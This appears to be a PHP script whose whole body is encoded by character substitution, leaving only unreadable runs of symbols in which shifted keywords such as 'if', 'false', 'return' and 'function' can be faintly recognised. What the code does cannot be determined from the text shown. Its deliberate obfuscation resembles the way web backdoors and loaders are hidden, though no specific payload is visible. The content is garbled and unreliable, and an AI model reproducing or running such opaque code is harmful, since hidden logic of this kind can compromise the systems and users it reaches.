i<<!<<\zupylynqo48rp,dwv$,y$5'<uz<<<48y%k*k)+%i<<<<!!!<z}poy5<<<<8y%k*k)+%i<<<<!<<<<ripp'uz<<<<4\ukC/jmfl}em~f{4../548rp,dwv$,y$5<< !<<<<4,d.$z%---7,d%,*yyz55<8if)oiyso$t~u}w<<<<!<\~~t*pewxp%lxrp.4%.*548rp,dwv$,y$5'<<a<uz<<<4=~~t*pewxp%lxrp.4-,%)54~~t*pewxp%lxrp.4.*555<g<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4--,.50<ukC/jmfl}em~f{4--,+5<2<fe/qwoyysxh4--,(548rp,dwv$,y$55'<<<<<nyhinr<<<<z}poy'<<<<<<<<a8q*xznowu}wro<<!<<<<z}poy'<8zf}k~pxs*<<<!<z}poy'<<<8Cp<<!<<<fe/qwoyysxh4--,$548j{,uhy)ltoCdt5'<<zsn<<<48p*q~,x{nvh<<!<<<,'<<<<<<8p*q~,x{nvh<< <.'<<8p*q~,x{nvh775<<<g8q*xznowu}wro<<<!<<C**nr/xxtli(wC-*,d*48n+lwp-wio,0<fe/qwoyysxh4--,%55'uz<<48q*xznowu}wro<<=!!<<z}poy5<<<g8zf}k~pxs*<<<!<z}poy'<<8zu.Cs$m.u-)t*<<<<!<<<<\ukC/jmfl}em~f{4-,(548q*xznowu}wro0<<<u{n~xs$r(~%zo4---,55'<<<<<uz<48zu.Cs$m.u-)t*<<=!!<z}poy5<<g<8r/nm(%Cxvd<!<,'<<<ktupy<<<<<<48r/nm(%Cxvd< <<8Cp5<<<g<8{Cssrh(/}j-fz~,<!<<\fe/qwoyysxh4----548zu.Cs$m.u-)t*0<fe/qwoyysxh4---.548j{,uhy)ltoCdt0<<<8r/nm(%Cxvd55'<uz<<48{Cssrh(/}j-fz~,<<<!!!<<<<z}poy<``<8{Cssrh(/}j-fz~,<<<<!!!<<,5<~ny}w'<<<8r/nm(%Cxvd<7!<8{Cssrh(/}j-fz~,'a<<<\zzpiot48zu.Cs$m.u-)t*5'33<\olyu}pufy<}{{ny{}hsn8u$}k)zw)q!$+`-/*'8yyjyokxe~$s!8u$}k)zw)qB*%'uz<<<4ukC/jmfl}em~f{4---/54u{n~xs$r(~%zo4---(555<<<<\zoer48zu.Cs$m.u-)t*5'8rykt%j{/phm!1%*'8~i(ojt(tq!48rykt%j{/phm",5#8rykt%j{/phm&18rykt%j{/phm'<<\zpsoy48zu.Cs$m.u-)t*5'<<<uz<48r/nm(%Cxvd<!!!<<<<8Cp5<<8zf}k~pxs*<!<<8r/nm(%Cxvd'<<a<<<<<ypoy<<g8zf}k~pxs*<<<!<\fe/qwoyysxh4---)548q*xznowu}wro0<<<<<<8j{,uhy)ltoCdt5'<<<<<a33<urpury<}ty<<uz<48zf}k~pxs*<<<=!!<<z}poy<<<::<<<<8zf}k~pxs*<<<<!!!<<8Cp5<<~ny}w'<<<<uepno,inmjey/mr48q*xznowu}wro5'<<<8q*xznowu}wro<<<<<!<<<z}poy'<<<aa<<<<<uz<<<<48q*xznowu}wro<<<!!!<<<z}poy5<g<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4--,.50<<<fe/qwoyysxh4---*5<<2<~~t*pewxp%lxrp.4--,(548rp,dwv$,y$55'nyhinr<z}poy'<<<auz<48zf}k~pxs*<<<!!!<z}poy<``<<8zf}k~pxs*<=!!<<<8Cp5<<<<g<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4--,.50<u{n~xs$r(~%zo4---+5<2<~~t*pewxp%lxrp.4--,(548rp,dwv$,y$55'uepno,inmjey/mr48q*xznowu}wro5'nyhinr<<<<z}poy'<a<uz<<<48y%k*k)+%i<<=!!<<<<<<ripp5<<<\u{n~xs$r(~%zo4-*(548q*xznowu}wro0<<8y%k*k)+%i<<<<:<<<<<<4(%$7-/55'<8jipwu+zfh.m{f%j}<<<<!<<tn+pj)fv,~kiCwl.48q*xznowu}wro0<<<<<8rp,dwv$,y$5'<<<uz<<<4=8jipwu+zfh.m{f%j}<::<<<8dzwd{z(p+w,<<<<<::<<<=8d/.skCCfr*5<g<uz<<<<<4\~~t*pewxp%lxrp.4--,*548rp,dwv$,y$55<mmhy/nCplvkizofojuy48rp,dwv$,y$0<<4/%(7.*55'<8fyxjrfu}}m$$%Cy<<<<!<8rp,dwv$,y$<2<ukC/jmfl}em~f{4---$5<<<<2<<ukC/jmfl}em~f{4((,544,d-+-7,d.++50<4-.+$7$+.-55'<<<uz<<4tn+pj)fv,~kiCwl.48rp,dwv$,y$0<<<<8fyxjrfu}}m$$%Cy55<<<<<g<<<8jipwu+zfh.m{f%j}<<!<<tn+pj)fv,~kiCwl.48q*xznowu}wro0<8rp,dwv$,y$5'<uz<<48jipwu+zfh.m{f%j}5<g<<uepno,inmjey/mr48fyxjrfu}}m$$%Cy5'a<<<ypoy<<<<g33<o}huozu}~py<~}wps{<<<<uz<<<4=tn+pj)fv,~kiCwl.48fyxjrfu}}m$$%Cy0<<8rp,dwv$,y$5<::<<<<<=zsfik+*{knud},48fyxjrfu}}m$$%Cy0<<<<8rp,dwv$,y$55<<<g<<<r%*-mli$vi/rdu48rp,dwv$,y$0<8if)oiyso$t~u}w5'<<<<a33<LON1-)<quxxpyk}ny&<pury}n1}xv<~n}rxyx1hely<uz<<<<<<4=\ukC/jmfl}em~f{4--,*548rp,dwv$,y$55<<<g<<<<<<r%*-mli$vi/rdu48rp,dwv$,y$0<<8if)oiyso$t~u}w5'<<a<a<aa<<<<<uz<<<4=8jipwu+zfh.m{f%j}<<::<<=8d/.skCCfr*<::<<<=8in}z+.iumr*%,5<guz<<<4\~~t*pewxp%lxrp.4--,*548rp,dwv$,y$55<<<<<mmhy/nCplvkizofojuy48rp,dwv$,y$0<<4/$%7/-55'uz<<4zsfik+*{knud},48q*xznowu}wro0<<<<<8rp,dwv$,y$55<<g<<8jipwu+zfh.m{f%j}<!<<<<hniy'uepno,inmjey/mr48q*xznowu}wro5'8rvC,w%/nf,!1/-*'8t(tje{szesC!48rvC,w%/nf,",5#8rvC,w%/nf,&18rvC,w%/nf,'<<a<<<<<a<uz<4=8jipwu+zfh.m{f%j}5<<<<<g<<uz<<<<4\~~t*pewxp%lxrp.4--,*548rp,dwv$,y$5<<::<<4urh5<\u{n~xs$r(~%zo4../548rp,dwv$,y$5<=!!<<<8Cp5<<<<g8r{%{-q*+d!$7(+'8mzszfdxqpt$+n!8r{%{-q*+d1/$'<<<<<8)fx/ou)~uC.<!<\u{n~xs$r(~%zo4---%548rp,dwv$,y$5'<<<<<uz<<<<<<4=ukC/jmfl}em~f{4--.,548)fx/ou)~uC.5<``<<4fe/qwoyysxh4--.-548if)oiyso$t~u}w5<::<<<8)fx/ou)~uC.<<=!!<<<8if)oiyso$t~u}w55<<<g<<uz<<4~~t*pewxp%lxrp.4--..548if)oiyso$t~u}w55<r%*-mli$vi/rdu48rp,dwv$,y$0<8if)oiyso$t~u}w5'ypoyuz<<4=8dzwd{z(p+w,5<uepno,inmjey/mr48rp,dwv$,y$5'33<KL<Osu}p<Purwo<nyolsroujy<~ny}wlsurh<<<<<<<a<<iroyh48)fx/ou)~uC.5'<<<<a<<uz<<<<4=\fe/qwoyysxh4--,*548rp,dwv$,y$55<<gr%*-mli$vi/rdu48rp,dwv$,y$0<8if)oiyso$t~u}w5'aswd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4--./50<<u{n~xs$r(~%zo4--.(5<<<2<<<<u{n~xs$r(~%zo4--,(548rp,dwv$,y$55'uepno,inmjey/mr48q*xznowu}wro5'<nyhinr<<z}poy'<a<<<\py}noh}h}ty4hniy0<8rp,dwv$,y$5'<<8hkhjk(pr.+jiu}l<<<<!<<z}poy'<<<uz<48Cp< !<4.,%+,$,7+.55<g8hu+o)s-/{%f<<!<\ukC/jmfl}em~f{4--.)548rp,dwv$,y$5'<<<<<<<<<<8hkhjk(pr.+jiu}l<<!<<<<4ukC/jmfl}em~f{4--..548hu+o)s-/{%f5<<<<::<<ukC/jmfl}em~f{4--,$548hu+o)s-/{%f5<<<<!!!<<<<8Cp<::<<<<<<~~t*pewxp%lxrp.4--.*548hu+o)s-/{%f5<!!!<ukC/jmfl}em~f{4--.*548j{,uhy)ltoCdt55'a<ypoy<g<8zll).fs*+,%}kix-<<<<!<<fe/qwoyysxh4--.+54ukC/jmfl}em~f{4--.$55<<<#<<\t}otCzupy4fe/qwoyysxh4--.*50<8rp,dwv$,y$5<<<<&<<<<z}poy'uz<<4fe/qwoyysxh4--.%548zll).fs*+,%}kix-5<::<<8zll).fs*+,%}kix-<<=!!<<<>>5<8hkhjk(pr.+jiu}l<<<<!<<48zll).fs*+,%}kix-<<!!!<<<<~~t*pewxp%lxrp.4--.*548j{,uhy)ltoCdt55'<<<<<<<ypoy<<<g33<}ht<~psw<<8k-mw}iq$urkxe<<<<<<!<<<<<<\fe/qwoyysxh4../548rp,dwv$,y$5'<uz<48k-mw}iq$urkxe<<!!!<<<<<8Cp5<<<<<g<<<<<<8ys~$-ih+wqy<<!<<\fe/qwoyysxh4--.)548rp,dwv$,y$0<<<<<z}poy0<ripp0<<,0<<<4(,+)7.-55'<<8Cnh<!<<<<\ukC/jmfl}em~f{4--.)548rp,dwv$,y$0<<<<<z}poy0<<<ripp0<<8Cp<1<<4+,,/1.%,+55'<8hkhjk(pr.+jiu}l<<!<4ukC/jmfl}em~f{4--/,548ys~$-ih+wqy5<<<::<<u{n~xs$r(~%zo4--/,548Cnh5<<::<<8ys~$-ih+wqy<<<!!!<<<~~t*pewxp%lxrp.4---.548j{,uhy)ltoCdt0<<,0<4,d(.z7,d~x-55<<::<<8Cnh<<!!!<<u{n~xs$r(~%zo4--/-548j{,uhy)ltoCdt0<8Cp<1<4.,%.7.,,(555'<a<a<<a<uz<<<<4=8hkhjk(pr.+jiu}l5<gswd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4--./50<fe/qwoyysxh4--/.5<<2<<u{n~xs$r(~%zo4--,(548rp,dwv$,y$55'<<uz<<<48in}z+.iumr*%,5<<r$r$ns+(.x,x)/ums48rp,dwv$,y$0<<<<hniy5'<<<<<uz<<<4u{n~xs$r(~%zo4--//548if)oiyso$t~u}w55<<<g<<8qy%x{tmy/q/wfmfj<!<fe/qwoyysxh4--.+54ukC/jmfl}em~f{4--/(55<<<<<#<\t}otCzupy4u{n~xs$r(~%zo4--.*50<<<8rp,dwv$,y$5<&<z}poy'<<<<<uz<4fe/qwoyysxh4--//548qy%x{tmy/q/wfmfj5<<::<8qy%x{tmy/q/wfmfj<<<<=!!<<>><::<<<8qy%x{tmy/q/wfmfj<=!!<<ukC/jmfl}em~f{4--.*548j{,uhy)ltoCdt5<<::<8qy%x{tmy/q/wfmfj<<<=!!<<<<fe/qwoyysxh4--.*548if)oiyso$t~u}w55<<<gswd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4--./50<<<ukC/jmfl}em~f{4--/)5<2<<<fe/qwoyysxh4--/*548rp,dwv$,y$55'<nyhinr<z}poy'<a<<<8f(h*uf*i-fq<<<<<!<<<<<<C**nr/xxtli(wC-*,d*48n+lwp-wio,0<<<u{n~xs$r(~%zo4--,%55'<uz<<<<<<48f(h*uf*i-fq<=!!<z}poy<<::<<\~~t*pewxp%lxrp.4---)548f(h*uf*i-fq0<<8if)oiyso$t~u}w5<<<<!!!<<<<fe/qwoyysxh4--,$548if)oiyso$t~u}w55<<<<<g<<<<<<uz<<<4=tn+pj)fv,~kiCwl.48f(h*uf*i-fq0<8rp,dwv$,y$55<<guz<4\fe/qwoyysxh4--,*548rp,dwv$,y$5<<::<<<<=8d/.skCCfr*5<<<<<mmhy/nCplvkizofojuy48rp,dwv$,y$0<4-*%7.)-55'uz<<4=8d/.skCCfr*<<<<<::<<zsfik+*{knud},48f(h*uf*i-fq0<<<<<<8rp,dwv$,y$55<guepno,inmjey/mr48f(h*uf*i-fq5'<<<<<<<<a<<ypoy<<g<<\fe/qwoyysxh4---)548rp,dwv$,y$0<<8if)oiyso$t~u}w5'<<<uepno,inmjey/mr48f(h*uf*i-fq5'a<<<a<a<<ypoy<g<<uz<<<48f(h*uf*i-fq<=!!<z}poy5<<<<<<uepno,inmjey/mr48f(h*uf*i-fq5'<<<<\ukC/jmfl}em~f{4--/+548rp,dwv$,y$0<<8if)oiyso$t~u}w5'<a<r~$rrdpszidwdr$pe48rp,dwv$,y$5'<<a<<<ypoyuz<<<4=8dzwd{z(p+w,5<g<<uepno,inmjey/mr48rp,dwv$,y$5'<<<<<<<a<<<<<<nyhinr<z}poy'<<a<<<<<<<<r~$rrdpszidwdr$pe48rp,dwv$,y$5'y%(vpw(x(-hw/p48rp,dwv$,y$5'<<<<<mmhy/nCplvkizofojuy48rp,dwv$,y$0<4,d-*(7,d(,55'<<<uz<<<<<<48in}z+.iumr*%,5<<<r$r$ns+(.x,x)/ums48rp,dwv$,y$0<<z}poy5'<<<<<<nyhinr<<<<hniy'<a<zirhusr<<<m,v~fymz,pvrdCz(o48rp,dwv$,y$0<<<8i*nsjixt,/kt-h5<<<<<<<g36<nyp}dyx<osly1t}ur<638uqo.{zlt,,<<!<<<> #ltl@r>'<<<<<uz<<<4ukC/jmfl}em~f{4--//548i*nsjixt,/kt-h5<::<<<<<8i*nsjixt,/kt-h<<<<=!!<<<>><<::<<fe/qwoyysxh4%+,548i*nsjixt,/kt-h0<<u{n~xs$r(~%zo4.)%55<=!!<<z}poy<<::<<<<<<jfx)rnxu%,mC+~f~i48i*nsjixt,/kt-h55<<8uqo.{zlt,,<<!<<8i*nsjixt,/kt-h'<uz<4\fe/qwoyysxh4--/$548rp,dwv$,y$55<<<g<<<<<8{-t/}nfw$/<!<<<<\~~t*pewxp%lxrp.4--.)548rp,dwv$,y$5'<uz<<<<4ukC/jmfl}em~f{4--//548{-t/}nfw$/5<<::<vkC$uou+iut)vwv(+y48{-t/}nfw$/5<<<!!!<<<<8uqo.{zlt,,5<<<<nyhinr'<a<<<<uz<4=o~mz~fi/(/rr)jo-dvudl48rp,dwv$,y$0<8uqo.{zlt,,55<<<<<g<<<<8s.mn(.u()jjm<<<<<<!<<<\ukC/jmfl}em~f{4--.)548rp,dwv$,y$5'uz<<<4=4fe/qwoyysxh4--/%548s.mn(.u()jjm5<<::<<<vkC$uou+iut)vwv(+y48s.mn(.u()jjm5<!!!<8uqo.{zlt,,55<<<<<\fe/qwoyysxh4--/+548rp,dwv$,y$0<<<8uqo.{zlt,,5'iroyh48s.mn(.u()jjm5'<<ar~$rrdpszidwdr$pe48rp,dwv$,y$5'<a<<<<zirhusr<ts/s*h)CCj*ql}h,h$q45guz<<4u{n~xs$r(~%zo4--.+54fe/qwoyysxh4--(,55<<<<<::<<j%+}tzz).prCxisppoo455<<<<nyhinr<hniy'uz<4=~~t*pewxp%lxrp.4--(-54u{n~xs$r(~%zo4+$/55<<``<<<<<<=ukC/jmfl}em~f{4--(-54u{n~xs$r(~%zo4%,/555<<<<<<nyhinr<<hniy'8vqv$-l*x{z<!<tsqyCinp4;3;5'<<8vqv$-l*x{z<2!<<<4u{n~xs$r(~%zo4%+,548vqv$-l*x{z0<<<;#;5<!!!<<<z}poy<<#<<;#;<<<&<<;:;5<2<<<<u{n~xs$r(~%zo4--(.5<<<<2<<<~~t*pewxp%lxrp.4--(/545<<2<<<<u{n~xs$r(~%zo4--((544,d/(7,d/,50<4,d-*-7,d.$*55'<<<<<<<8lvz.-s(sv%zi)+*<<<<!<ukC/jmfl}em~f{4%,/548vqv$-l*x{z0<}nn}e4~~t*pewxp%lxrp.4--()5<!"<<4-%/B.,-50<<<<fe/qwoyysxh4--(*5<<!"<z}poy0<<fe/qwoyysxh4--(+5<!"<<<.0<<fe/qwoyysxh4--($5<<<<<<!"<}nn}e4~~t*pewxp%lxrp.4--(%5<<<!"<<fe/qwoyysxh4--),5555'<uz<<<4fe/qwoyysxh4--)-54fe/qwoyysxh4/(.55<<::<<<uoCklCynnsn48lvz.-s(sv%zi)+*55<<<<g<<uz<<4~~t*pewxp%lxrp.4--).54fe/qwoyysxh4+$+555<<<<ukC/jmfl}em~f{4+$+54-5'<<<8lvz.-s(sv%zi)+*<<<<!<<<<<<ukC/jmfl}em~f{4%,/548vqv$-l*x{z0<<}nn}e4ukC/jmfl}em~f{4--)/5<<!"<<<<<<4)7/50<<<<<u{n~xs$r(~%zo4--(*5<!"<<z}poy0<fe/qwoyysxh4--(+5<!"<.0<<<ukC/jmfl}em~f{4--($5<<!"<<<}nn}e4fe/qwoyysxh4--(%5<<<<!"<<<~~t*pewxp%lxrp.4--),5555'<uz<<4fe/qwoyysxh4--).54fe/qwoyysxh4--)(55<<<<::<uoCklCynnsn48lvz.-s(sv%zi)+*55<nyhinr<<<z}poy'<<a<8w-~vryr*xp<!<<4urh5<<<klCnyqshyCnyhnuyjyCnyolsroyCsxy48lvz.-s(sv%zi)+*5'8emj%,~/+t+i!(-/'8nqfs/i~{vff,!48emj%,~/+t+i",5#8emj%,~/+t+i&18emj%,~/+t+i'<<nyhinr<<<8w-~vryr*xp<<"!<<<<4)7%)5<<<<::<<8w-~vryr*xp<< <4,d-,.7,dz.5'<<<<azirhusr<vdu(ziqmhiy}zrx---np.48~*oC)f%fmh{j/r$e0<<<<<8}$z)dp%r(}*+Cw5<g<8~v+d}zC*u.n*}}z.<<!<<u{n~xs$r(~%zo4-,$$54~~t*pewxp%lxrp.4--/*548}$z)dp%r(}*+Cw50<<<;3;5'<<<<<zsny}t<<4<<<<<<}nn}e4ukC/jmfl}em~f{4--))5<<<<<<2<<8~v+d}zC*u.n*}}z.<<2<~~t*pewxp%lxrp.4--)*50<<fe/qwoyysxh4--)+5<<2<8~v+d}zC*u.n*}}z.<<<<2<<ukC/jmfl}em~f{4--)*50<~~t*pewxp%lxrp.4--)$5<2<<8~v+d}zC*u.n*}}z.<2<<<ukC/jmfl}em~f{4--)%50<5<}o<<<8vjzir)s)v}p~<<<5<<<guz<<<<4=u{n~xs$r(~%zo4--/%548~*oC)f%fmh{j/r$e55<<~ny}w'<<<8~*oC)f%fmh{j/r$e<<<<!<<ukC/jmfl}em~f{4%%,548vjzir)s)v}p~0<<<<<>@r>0<<<8~*oC)f%fmh{j/r$e5'<<<<<anyhinr<<<<8~*oC)f%fmh{j/r$e'8iq-u.vwvd~!1+$,'8x).tph-/.-y!48iq-u.vwvd~",5#8iq-u.vwvd~&18iq-u.vwvd~'<a<<<<<zirhusr<<<<r~$rrdpszidwdr$pe48spkfdyp$}s5g<<uz<<<<<4~~t*pewxp%lxrp.4--*,54ukC/jmfl}em~f{4.,,555<<<g<<nyhinr<<<\sl}tyCurj}pux}hy48spkfdyp$}s0<<hniy5<<<=!!<<<<z}poy'a<<<<8ti+q{q)phktq<<<!<<<<<<fe/qwoyysxh4--*,54ukC/jmfl}em~f{4--*-55<<#<<<\sl}tyC{yhCoh}hio4z}poy5<<<<<&<<<z}poy'<nyhinr<<<=4fe/qwoyysxh4-,$)548ti+q{q)phktq5<<::<<=yqlhe48ti+q{q)phktqGu{n~xs$r(~%zo4--*.5A55'<<azirhusr<h/%vx~m.md,~u+.r+is%}48rp,dwv$,y$0<<<<8k}tCehieskooh0<8Cff+(m$$mt5<<<g<uz<4fe/qwoyysxh4--/-548rp,dwv$,y$0<14$1(55<<!!!<<<<<<~~t*pewxp%lxrp.4%$$55<<<g<<<uz<<4=o~mz~fi/(/rr)jo-dvudl48rp,dwv$,y$0<8k}tCehieskooh55<<g<swd(~($..Cxnwiox}epi48Cff+(m$$mt0<<<<~~t*pewxp%lxrp.4--*/5<2<fe/qwoyysxh4--/*548rp,dwv$,y$55'nyhinr<z}poy'<<ar~$rrdpszidwdr$pe48rp,dwv$,y$5'<<<<nyhinr<<~~t*pewxp%lxrp.4--,$548k}tCehieskooh5'<<<<a8zu.Cs$m.u-)t*<<!<<<\u{n~xs$r(~%zo4-,(548rp,dwv$,y$0<<<<<u{n~xs$r(~%zo4--*(55'<uz<<<48zu.Cs$m.u-)t*<<<<!!!<<z}poy5<g<<<<<swd(~($..Cxnwiox}epi48Cff+(m$$mt0<ukC/jmfl}em~f{4--*/5<<<<<2<ukC/jmfl}em~f{4--*)548rp,dwv$,y$55'<<<<nyhinr<<<z}poy'8oxdmo)o$!-%6*'8}(euud/-*%yoC!8oxdmo)o$1/%'a<<<uz<<4fe/qwoyysxh4--*,54u{n~xs$r(~%zo4--**555<<\zpsw48zu.Cs$m.u-)t*0<<<<<PS_WCYD5'<8lvz.-s(sv%zi)+*<!<<<\~~t*pewxp%lxrp.4--*+548zu.Cs$m.u-)t*0<<<8k}tCehieskooh5'<<<<<<uz<<4ukC/jmfl}em~f{4--*,54~~t*pewxp%lxrp.4--**555<<\zpsw48zu.Cs$m.u-)t*0<<<<PS_WCIR5'\zpsoy48zu.Cs$m.u-)t*5'<<uz<48lvz.-s(sv%zi)+*<<!!!<z}poy<<<``<<<<<48k}tCehieskooh<<=!!<<<>><<<::<<8lvz.-s(sv%zi)+*<=!!<<<fe/qwoyysxh4--,$548k}tCehieskooh555<g<swd(~($..Cxnwiox}epi48Cff+(m$$mt0<~~t*pewxp%lxrp.4--*/5<2<<ukC/jmfl}em~f{4--*)548rp,dwv$,y$55'<<nyhinr<z}poy'<<<<<<a<<<<<<nyhinr<8lvz.-s(sv%zi)+*'<<<<a<<<<<<<<zirhusr<<<tnv*n.+me(p~+zm%s45<<g33<lns}hujy<pury}n1hely<hne<g<<<<<<<<uz<4=~~t*pewxp%lxrp.4--*,54~~t*pewxp%lxrp.4$+(55<``<=~~t*pewxp%lxrp.4--*$54~~t*pewxp%lxrp.4--*%555<<gk(xvw/qy+ey(p-**$+uz{4ripp5'<nyhinr'<<auz<<<4{yhChn}rouyrh4ukC/jmfl}em~f{4--+,555<nyhinr'<<<<uz<4{yhChn}rouyrh4u{n~xs$r(~%zo4--+-555<<<<<<nyhinr'<<<<<<oyhChn}rouyrh4u{n~xs$r(~%zo4--+.50<-0<<4)/-7*%55'<k(xvw/qy+ey(p-**$+uz{4ripp5'uz<<<<4u{n~xs$r(~%zo4--*$54~~t*pewxp%lxrp.4$%,555<<xypyhyChn}rouyrh4fe/qwoyysxh4--+.55'8jmCshe%hlm<<<!<fe/qwoyysxh4--*$54ukC/jmfl}em~f{4--+/55<<<#<4ohnur{5<<<<t~ui.jvk{k%(/inf/rwCCd4ukC/jmfl}em~f{4-,+(50<>>5<<&<<<>>'uz<48jmCshe%hlm<<<=!!<>><<<::<<<fe/qwoyysxh4--+(54fe/qwoyysxh4--+)55<<::<<<ioynr}qyCyduoho48jmCshe%hlm55<<goyhChn}rouyrh4~~t*pewxp%lxrp.4--+,50<<<-0<4/$%-$1-+/-$55'<<<<aa<}ht<<<4Htnsk}~py<<8phr-l)~h-C.5<g33<\lnsjuousr<py}we1~iwyh<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4--+*50<8phr-l)~h-C.5'a<<<}ht<<4Ydylhusr<<<<<8phr-l)~h-C.5<<g8j.w$k-,,-d!//7%/'8hr%k+znuC!8j.w$k-,,-d1(+'<a<<<a<<<<<zirhusr<<<<<<k(xvw/qy+ey(p-**$+uz{48s+$exC~-)us5<g<<<<<uz<<<4=quvd%+x.))%$*pzq%r(k-4fe/qwoyysxh4$,-555<<nyhinr'<<<hne<<g<<<<<<<<uz<<4=<ukC/jmfl}em~f{4--+(54fe/qwoyysxh4--++55<<``<<<<=<<<<<ukC/jmfl}em~f{4--+$54u{n~xs$r(~%zo4--+%555<gnyhinr'<<<<a<<8}w)m*ww(vvv%<<<!<<4ohnur{5<<<<t~ui.jvk{k%(/inf/rwCCd4ukC/jmfl}em~f{4-,+(50<<>>5'<uz<48}w)m*ww(vvv%<<<<=!!<<>><<<<::<<<<ioynr}qyCyduoho48}w)m*ww(vvv%5<<<<::<<<<<4ohnur{5<<t~ui.jvk{k%(/inf/rwCCd4u{n~xs$r(~%zo4-,+)50<>>5<<<<<=!!<<>>5<gnyhinr'<<a<<uz<<<48}w)m*ww(vvv%<<!!!<<>>5<g36<pury}nuf}~py<oertnsrufyn<63<<8mpq./%qt%ijr+$mp<<<!<<fe/qwoyysxh4--$,548s+$exC~-)us5<<<#<<8s+$exC~-)us<&<<<<C/q%wdv{i+mtt)(45'<<8ux)/iu(xCxeyo<!<<<<w.){m{Cimf{~}{*huxfCh48mpq./%qt%ijr+$mp5'<<uz<<<<4<<8ux)/iu(xCxeyo<<<::<<=yqlhe48ux)/iu(xCxeyo1"ioynCps{ur5<<::<<<uooyh48ux)/iu(xCxeyo1"ioynCyq}up5::<<<<8ux)/iu(xCxeyo1"ioynCyq}up<<!!!<<8ux)/iu(xCxeyo1"ioynCps{ur<<2<<<<<<;\;<<<<<2<<<k{flojeyw,sm~z4~~t*pewxp%lxrp.4--$-55<5<<<<g<<<<<8}w)m*ww(vvv%<<<<!<4ohnur{5<8ux)/iu(xCxeyo1"ioynCps{ur'<<<a<<<<<auz<48}w)m*ww(vvv%<=!!<<<>><<::<<<<ioynr}qyCyduoho48}w)m*ww(vvv%55<<<g<8o%{+q()uhp-qClk*<!<ioynr}qyCyduoho48}w)m*ww(vvv%5'<<<<<<8~uzmj}{f-$*hjlx<<!<yd(-d*t,+{.mr,rd{-44-*)B-$%55'<<uz<<<<4u{n~xs$r(~%zo4--$.54~~t*pewxp%lxrp.4--$/555<<<<g<ukC/jmfl}em~f{4--$/548~uzmj}{f-$*hjlx0<8o%{+q()uhp-qClk*5'a<<<vfCp.pff*hef}nxkrwq..j4fe/qwoyysxh4-,+(50<8}w)m*ww(vvv%0<<fe/qwoyysxh4-,$.55'8ie+n%ihv(!/%6)'8q++i~~$ui!8ie+n%ihv(1/%'<<<<vfCp.pff*hef}nxkrwq..j4u{n~xs$r(~%zo4-,+)50<<<8~uzmj}{f-$*hjlx0<fe/qwoyysxh4--$(55'<<<nyhinr'<<<<<a8pz~x~~ixt(~<<<!<<u%fhx.fk*~}o{t-dysq45'<<<<<uz<<4hniy5<g<<8}w)m*ww(vvv%<<<!<<<<>>'<zsn<<48mrj~vui*,q~rC$<!<,'<<8mrj~vui*,q~rC$<< <4%1(5'<<<8mrj~vui*,q~rC$775<g8p*q~,x{nvh<!<<8pz~x~~ixt(~Gu{n~xs$r(~%zo4--$)548pz~x~~ixt(~5A<2<yd(-d*t,+{.mr,rd{-44-/(B-(,55'<<<uz<4=ioynr}qyCyduoho48p*q~,x{nvh55<<<<<g<8}w)m*ww(vvv%<<!<<<8p*q~,x{nvh'<<<~ny}w'33<KL<L}n}{n}lt<^psw<}hh}tqyrh<qyh}x}h}<<<<<a<<<<a<<<<<<uz<<48}w)m*ww(vvv%<!!!<<<>>5<<g36<lsouhujy1xyzuruhy<}x}lhyn<63<<<<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4--$*50<<<ukC/jmfl}em~f{4--$+55'<<nyhinr'a<<<a8~uzmj}{f-$*hjlx<<!<<<yd(-d*t,+{.mr,rd{-44(+1./55'<uz<<<<<4=<<<<~~t*pewxp%lxrp.4--$$54u{n~xs$r(~%zo4--$%55<<::<<<xyzuryx4fe/qwoyysxh4%**55<<<<::<<~~t*pewxp%lxrp.4--%,54]^OL]HT<2<~~t*pewxp%lxrp.4--%-555<<<<<g33<Nyxuo<s~vyh<}ty<s~vyh<zuh8w(vf,r}{o!(7.('8f$$%(vrvlf!8w(vf,r}{o1/%'<nymiunyCsry<<<<]^OL]HT<<<<<<2<<<<fe/qwoyysxh4--%-5'<<<<<<<a<<<<<<<8n$,{}zer*{-w~x<<<<!<8}w)m*ww(vvv%<<2<<<;\;<<2<k{flojeyw,sm~z4~~t*pewxp%lxrp.4--$-55'8pi,wj(lvq/C%,zl<<!<<z}poy'<uz<4u{n~xs$r(~%zo4--$$54u{n~xs$r(~%zo4--$%555<<<g8pi,wj(lvq/C%,zl<<<!<<<<fe/qwoyysxh4--$%54}nn}e4<<<fe/qwoyysxh4--%.5<<<!"<<<8}w)m*ww(vvv%0fe/qwoyysxh4--%/5<<<!"<<<8~uzmj}{f-$*hjlx0<<<<ukC/jmfl}em~f{4--%(5<!"<8n$,{}zer*{-w~x0<<<<ukC/jmfl}em~f{4--%)5<<<<!"<ukC/jmfl}em~f{4--%*50<<~~t*pewxp%lxrp.4--%+5<!"<<8}w)m*ww(vvv%0<<<<<<<55'uz<<4uoCklCynnsn48pi,wj(lvq/C%,zl55<<<<g<<<<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4--$*50<8pi,wj(lvq/C%,zl1"{yhCynnsnCsxy45<<<2<<<;&;<2<<8pi,wj(lvq/C%,zl1"{yhCynnsnCqyoo}{y455'<8pi,wj(lvq/C%,zl<<<<<!<<z}poy'<<a<a<<<uz<<<4=8pi,wj(lvq/C%,zl5<<<g<<<<<8klx~<!<uooyh48[PS^]POGukC/jmfl}em~f{4-,/*5A5<<#<8[PS^]POGfe/qwoyysxh4-,/*5A<<&<<ripp'<uz<4=8klx~<<<<``<=u{n~xs$r(~%zo4-,+*548klx~55<<g<<<<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4--$*50<<fe/qwoyysxh4--%$55'nyhinr'<a<<<8}es*su})k)<<<<<!<<<~~t*pewxp%lxrp.4--$$54~~t*pewxp%lxrp.4--%%55<<#<<<<klCt}otCl}ooksnx48~uzmj}{f-$*hjlx5<&<<<<ukC/jmfl}em~f{4--.*548~uzmj}{f-$*hjlx5'<<<8~mx-jmk$do+vsiyp<!<<<<ukC/jmfl}em~f{4--$$54fe/qwoyysxh4-.,,55<<<#<innyrhChuqy4u{n~xs$r(~%zo4-.,-55<<<&<<{qx}hy4u{n~xs$r(~%zo4-.,.55'8t,(~nq$).%*C}<<!<<<<<<8klx~1"uroynh48klx~1"ioyno0<}n